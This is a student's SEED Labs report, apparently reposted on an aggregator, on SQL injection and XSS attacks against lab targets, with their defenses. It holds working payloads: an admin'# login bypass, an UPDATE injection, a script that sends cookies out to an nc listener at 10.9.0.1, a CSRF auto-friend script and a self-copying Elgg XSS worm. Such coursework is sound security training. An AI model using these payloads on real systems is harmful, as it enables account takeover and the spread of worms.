当前位置: 首页 > news >正文

20251915 2024-2025-2 《网络攻防实践》实践十报告

1.实践内容

本周的学习核心是 Web 应用程序安全攻防,重点实践了两种最经典且危害极大的 Web 漏洞:SQL 注入与 XSS 跨站脚本攻击。本次实践基于 SEED 实验环境,具体内容包括:

  1. SEED SQL注入攻击与防御实验
    • 绕过认证:利用 SELECT 语句漏洞,在未知密码的情况下通过注入 '# 登录管理员账号。
    • 篡改数据:利用 UPDATE 语句漏洞,在修改个人信息页面注入恶意代码,篡改数据库中本不应被修改的薪水(Salary)字段。
    • 防御修复:通过修改 PHP 源码,引入 Prepared Statement(预编译语句),从根本上修补 SQL 注入漏洞。
  2. SEED XSS跨站脚本攻击实验 (Elgg)
    • 基础 XSS:在个人主页注入恶意 JavaScript,实现弹窗警告和打印访客 Cookie。
    • 会话劫持与伪造:编写 JS 代码窃取访客 Cookie 发送至攻击者机器,并利用 CSRF 手法实现自动加好友、自动篡改访客资料。
    • 编写 XSS 蠕虫:构造具有自我复制能力的 XSS 恶意脚本,使受害者在被感染的同时成为新的传染源,形成蠕虫传播链。
    • 防御修复:进入靶机底层,配置 Apache 的 CSP(内容安全策略),从浏览器层面有效阻断 XSS 恶意脚本的执行。

2.实践过程

2.1 SEED SQL注入攻击与防御实验

1. 环境配置与数据库侦察
首先在宿主机终端执行 sudo hostnamectl set-hostname yuchangcan 修改主机名,输入指令 echo "10.9.0.5 www.seed-server.com" | sudo tee -a /etc/hosts/etc/hosts 中添加本地域名解析。
进入 ~/20251915/Labsetup 目录,执行 sudo docker-compose up -d 启动靶机。
随后,通过以下命令潜入 MySQL 数据库容器进行侦察:

# 1. 在宿主机终端执行,进入 MySQL 容器的内部 bash 环境
sudo docker exec -it $(sudo docker ps -qf "name=mysql") bash# 2. 在容器的 bash 环境中,登录 MySQL 数据库
mysql -u root -pdees

成功进入 MySQL 交互式界面后,执行以下 SQL 语句进行查询:

use sqllab_users;
SELECT * FROM credential WHERE Name = 'Alice';

查看到 credential 表包含 Alice 的 PasswordSalarySSN 等关键隐私字段。
image

2. SELECT 注入攻击(绕过登录)
打开 Firefox 浏览器,访问 http://www.seed-server.com
在登录页面的输入框中:

  • Username 处输入:admin'#
  • Password 处随意输入:111
    点击 Login。单引号闭合了 SQL 语句的前半段,# 注释掉了后续的密码校验逻辑,导致系统直接执行 SELECT ... WHERE name='admin',成功以管理员身份登录,并在 Welcome 页面越权看到了所有员工的隐私信息。
    image

3. UPDATE 注入攻击(修改工资)
点击页面右上角 Logout 退出管理员。重新在 Username 处输入 Alice'#(密码随意)登录。
登录后,点击页面上的 Edit Profile
Phone Number 输入框中填入恶意的闭合与赋值语句:

', Salary='20251915

点击 Save 保存。此时后台执行的 UPDATE 语句被篡改。再次 Logout 并用 Alice'# 重新登录,在 Welcome 页面可以看到 Alice 的 Salary 已经被越权修改为了本人的学号 20251915。
image

4. SQL 防御:使用 Prepared Statement
进入 Web 容器修复漏洞,并创建带有学号的备份文件以作记录:

sudo docker exec -it $(sudo docker ps -qf "name=www") bash
cd /var/www/SQL_Injection
# 创建带有学号的备份文件
cp unsafe_home.php unsafe_home_20251915_backup.php
apt update && apt install vim -y
vim unsafe_home.php

将原本拼接的 $sql 查询语句,替换为安全的参数化查询(Prepared Statement):

$stmt = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password FROM credential WHERE name = ? AND Password = ?");
$stmt->bind_param("ss", $input_uname, $hashed_pwd);
$stmt->execute();
$result = $stmt->get_result();

image

保存退出后重启服务 service apache2 restart。返回浏览器再次尝试用 admin'# 登录,页面无数据显示或提示失败,证明注入漏洞已被成功修复。
image


2.2 SEED XSS跨站脚本攻击实验 (Elgg)

实验前,清理浏览器所有历史缓存。在终端清理旧实验环境,并下载启动 XSS 的 Elgg 靶机环境:

cd ~/20251915
rm -rf Labsetup Labsetup.zip*
wget --no-check-certificate [https://seedsecuritylabs.org/Labs_20.04/Files/Web_XSS_Elgg/Labsetup.zip](https://seedsecuritylabs.org/Labs_20.04/Files/Web_XSS_Elgg/Labsetup.zip)
unzip Labsetup.zip
cd Labsetup
sudo docker-compose build
sudo docker-compose up -d

1. 弹窗显示警告与 Cookie
访问 http://www.seed-server.com,使用 Alice 账号(密码 seedalice)登录。
点击上方菜单 Account -> Settings -> Edit Profile
About Me 文本框处,点击 Edit HTML 切换到源码模式,清空原内容并输入:

<script>alert(document.cookie);</script>

点击 Save 保存。此时页面刷新,触发 JS 执行,弹出了包含 Alice 当前会话 Cookie 字符串的警告框。
image

2. 窃取受害者的 Cookies
在宿主机(Ubuntu)终端开启监听:nc -lknv 5555
回到 Alice 的 Edit Profile -> About Me (HTML 模式),将代码替换为图像劫持脚本:

<script>document.write('<img src="[http://10.9.0.1:5555?c=](http://10.9.0.1:5555?c=)' + escape(document.cookie) + '">');</script>

点击 Save 保存。当其他用户(或 Alice 本人)访问该页面时,浏览器会尝试向我的监听端口请求一张图片,并将 Cookie 拼接在 URL 中发送过去。在终端的 nc 界面成功捕获到了发来的 Cookie 数据。
image

3. 自动加为好友与修改信息 (CSRF)
使用 Samy 账号登录,按 F12 打开开发者工具,在 Console 标签页输入 elgg.session.user.guid 获取到 Samy 的 GUID 为 59。
在 Samy 的 Edit Profile -> About Me (HTML 模式) 中注入恶意 AJAX 代码:

<script type="text/javascript">
window.onload = function () {var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;var token = "&__elgg_token=" + elgg.security.token.__elgg_token;var sendurl = "[http://www.seed-server.com/action/friends/add?friend=59](http://www.seed-server.com/action/friends/add?friend=59)" + ts + token;var Ajax = new XMLHttpRequest();Ajax.open("GET", sendurl, true);Ajax.send();
}
</script>

保存后,退出 Samy,用 Alice 登录并点击 Members 访问 Samy 的主页。随后查看 Alice 的 Friends 列表,发现 Samy 已被悄悄自动添加为好友。
image

4. 编写无损 XSS 蠕虫 (自我复制与传播)
为了使恶意脚本具备病毒般的跨代传染性,必须解决 DOM 解析导致的符号转义问题。我在 Samy 的资料中注入了升级版的蠕虫代码,利用 .toString() 方法直接读取内存中的函数源码,实现了 100% 纯净的自我复制:

<script id="worm_20251915" type="text/javascript">
window.onload = function(){var uName = elgg.session.user.name;var uGuid = "&guid=" + elgg.session.user.guid;var elgg_ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;var elgg_token = "&__elgg_token=" + elgg.security.token.__elgg_token;var wormCode = encodeURIComponent("<script id='worm_20251915' type='text/javascript'>window.onload = " + window.onload.toString() + "</" + "script>");var visibleText = "<p>Hacked by 20251915 ycc!</p>";var postData = elgg_token + elgg_ts + "&name=" + uName + "&description=" + visibleText + wormCode + "&accesslevel[description]=2" + uGuid;var editUrl = "[http://www.seed-server.com/action/profile/edit](http://www.seed-server.com/action/profile/edit)";var hackerGuid = 59; // Samy的真实GUIDif(elgg.session.user.guid != hackerGuid) {var xhr = new XMLHttpRequest();xhr.open("POST", editUrl, true);xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");xhr.send(postData);}
}
</script>

使用 Charlie 账号访问 Samy 页面,Charlie 的简介被感染;紧接着使用 Boby 账号访问已感染的 Charlie 页面,Boby 同样中招。蠕虫病毒成功跨越层级,实现了指数级自动化传播。
image
image

5. 抵抗 XSS 蠕虫 (底层配置 CSP 策略)
在最新的 Web 安全架构中,旧版 Elgg 的 HTMLawed 插件已被淘汰。本次防御实验,我通过 sudo docker ps 找到 XSS 容器的真实名称(elgg-10.9.0.5),直接深入宿主服务器的 Apache 底层,通过配置 HTTP 响应头来实施硬核拦截:

sudo docker exec -it elgg-10.9.0.5 bash
# 容器精简,需临时安装 vim 编辑器
apt update && apt install vim -y
# 开启头部模块并修改配置文件
a2enmod headers
vim /etc/apache2/sites-enabled/apache_elgg.conf

在配置文件的 </VirtualHost> 前加入内容安全策略(CSP):
Header set Content-Security-Policy "script-src 'self'"
该策略强制浏览器只信任并执行来自同源站点('self')的脚本。重启 Apache 服务(service apache2 restart)后,再次访问之前带有 XSS 蠕虫的页面。

image

防御效果: 用户admin访问samy后,主页表面看似正常,但打开 F12 开发者控制台,可以看到满屏幕鲜红的 CSP 拦截报错。这证明 CSP 成功从浏览器执行层面上“物理隔绝”了内联恶意脚本的运行,斩断了 XSS 蠕虫的传播链路。

image
image

3.学习中遇到的问题及解决

在本次实验的实操过程中,我遇到了多个极具代表性的技术坑点,通过查阅资料和逻辑排错逐一攻克:

  • 问题1:环境切换时新靶机无法生效(重名覆写事故)
    • 现象:在关闭 SQL 容器并执行 docker-compose up -d 启动 XSS 环境后,浏览器访问仍然停留在旧的 SQL 注入页面。
    • 解决:排查日志发现,由于实验目录下已存在旧的 Labsetup.zip,使用 wget 下载 XSS 实验包时系统自动将其重命名为 Labsetup.zip.1,导致我解压的依然是旧包。通过 rm -rf Labsetup.zip* 清空干扰项并重新拉取构建。
  • 问题2:Vim 编辑代码时报错 E492: Not an editor command
    • 现象:在 Web 容器中使用 Vim 粘贴防御代码时,提示命令错误且代码格式错乱。
    • 解决:Vim 区分命令模式与输入模式。直接粘贴会被当成底层指令解析。按 i 键确保左下角出现 -- INSERT -- 后再进行粘贴,最后按 Esc 并输入 :wq 保存退出。
  • 问题3:XSS 代码作为纯文本显示在主页上,未能执行
    • 现象:在 About me 中注入 JavaScript 后,代码直接可见,无弹窗产生。
    • 解决:Elgg 默认的富文本编辑器会自动转义 HTML 标签(如将 < 转义为 &lt;)。必须在工具栏点击 Edit HTML 按钮切换至源码模式后输入,代码才能被隐蔽嵌入并执行。
  • 问题4:使用 nc 命令监听端口报错“不是内部或外部命令”
    • 现象:在 Windows 宿主机 CMD 中使用 nc -lknv 5555 窃取 Cookie 失败。
    • 解决:Netcat (nc) 是 Linux 下的网络工具,Windows 默认不包含。切换至 Ubuntu 虚拟机的终端内执行该监听命令,成功捕获到靶机发来的 Cookie 凭证。
  • 问题5:蠕虫跨代传播失败(DOM 树符号转义陷阱)
    • 现象:蠕虫成功从 Samy 传染给第一代受害者 Charlie,但 Boby 访问 Charlie 时未能继续感染(第二代传染失败)。
    • 解决:深入查错发现,采用 innerHTML 读取自身源码时,浏览器底层会将请求参数中的 & 强制转义为网页实体符 &amp;,导致后续伪造的请求 Token 损坏被拒。最终改用 window.onload.toString() 从内存层级直接读取函数源码,规避了转义污染,实现了无损传播。
  • 问题6:配置 CSP 防御时找不到 Web 容器与 vim 命令
    • 现象:执行旧版指令 docker ps -qf "name=www" 返回空值;进入新容器后提示 vim: command not found
    • 解决:通过 sudo docker ps 查明新版 XSS 实验的 Web 容器已更名为 elgg-10.9.0.5。由于新容器极度精简,进入容器后需先执行 apt update && apt install vim -y 补充安装编辑器,随后成功完成 Apache 核心文件的配置修改。

4.实践总结

本次实践让我真切地体会到了“不要信任任何用户输入”这条安全铁律的重量。SQL 注入让我在短短几秒内就瓦解了系统的认证防线并篡改了核心数据,而 XSS 蠕虫则让我看到了客户端攻击的传染性与隐蔽性。

通过亲手编写 Prepared Statement 和从底层手工配置 Apache 的 Content-Security-Policy (CSP),我意识到真正的安全防御不能仅靠外围的简单封堵(如废弃的过滤插件),必须深入到代码逻辑的底层和 HTTP 协议的机制中。这次实验极大提升了我对漏洞原理的理解、代码审计的能力以及在复杂 Linux 环境下的逆向排错水平,这比单纯掌握某种漏洞工具更为宝贵。

参考资料

  • 《网络攻防技术与实践(第二版)》
  • SEED Labs: Web Security - SQL Injection
  • SEED Labs: Web Security - Cross-Site Scripting
http://www.jsqmd.com/news/935930/

相关文章:

  • 2026年宜昌汽车贴膜门店合规资质横向深度测评:4家主流品牌真实对比,避坑指南与选型推荐 - GrowthUME
  • 基于ESP8266与WiFi定位的低成本车辆行程追踪系统DIY
  • 洛阳市老城区 适老化改造上门|维小达 适老厨房、适老卫生间、全屋适老化、适老化定制等一站式适老化改造服务 - 维小达科技
  • 2026年宁波高端授权旗舰类汽车贴膜门店横向深度测评 - GrowthUME
  • 网盘直链解析工具:本地化解决方案打破下载速度限制
  • 关于非全日制学历提升途径的若干现象观察
  • HarmonyOS 屏幕方向控制完全指南:setPreferredOrientation 竖屏横屏自动旋转详解
  • Step 3.5 Flash vs 闭源模型:成本降低18倍的企业级AI解决方案终极指南
  • AWK实战:从文本数据中快速统计分组数量
  • Codex 完整介绍:OpenAI AI 编程代理的三种入口与核心能力
  • 网盘下载速度慢?8大平台直链解析工具帮你轻松提速
  • Arduino创意DIY:打造嘻哈风格智能珠宝盒的完整指南
  • ​2026年石家庄保定唐山邯郸秦皇岛衡水邢台承德奢侈品回收(名表名包珠宝首饰)怎么选?赵掌柜二奢参考指南(185-3117-2838) - GrowthUME
  • 深度解析OptiScaler:多GPU超分辨率技术的跨平台融合革命
  • 睿港国际移民:圣基茨护照申请如何选择专业机构? - 博客万
  • 同花顺股票买入测试要点
  • 从传感器到舵机:基于Arduino与ESP32的远程机械手系统全链路实践
  • 暗黑3自动按键助手:5分钟掌握智能游戏辅助,效率提升300%
  • Arduino TFT扩展板设计:从电平转换到PCB布局的完整实战指南
  • 艾尔登法环帧率解锁终极指南:如何免费提升游戏性能到144Hz
  • 2026年宜昌汽车贴膜行业横向测评白皮书 - GrowthUME
  • 佳能G3800 G3810 G5080 G6080 TS3380 MG3580 MG3680 TS5080清零软件全能版, 清零软件,5B00,P07,1700,1702,1704,亲测好用
  • Linux命令:swapon
  • 基于Arduino与离线语音模块的智能小车DIY:从硬件搭建到代码实现
  • 暗黑破坏神3智能助手:5分钟解放双手,游戏效率提升200%
  • 从数据管道到智能协同:六家数据中台厂商的AI融合路径与数据治理深度对比 - 博客万
  • CSS Grid 高级布局实战:从仪表盘到杂志排版的复杂自适应网格系统
  • 免费开源乐谱识别神器Audiveris:5分钟将纸质乐谱转为数字格式的完整指南
  • 大麦网抢票自动化:Python脚本完整配置与实战指南
  • 安全审查启发式方法:从线性审计到模式消除的实战指南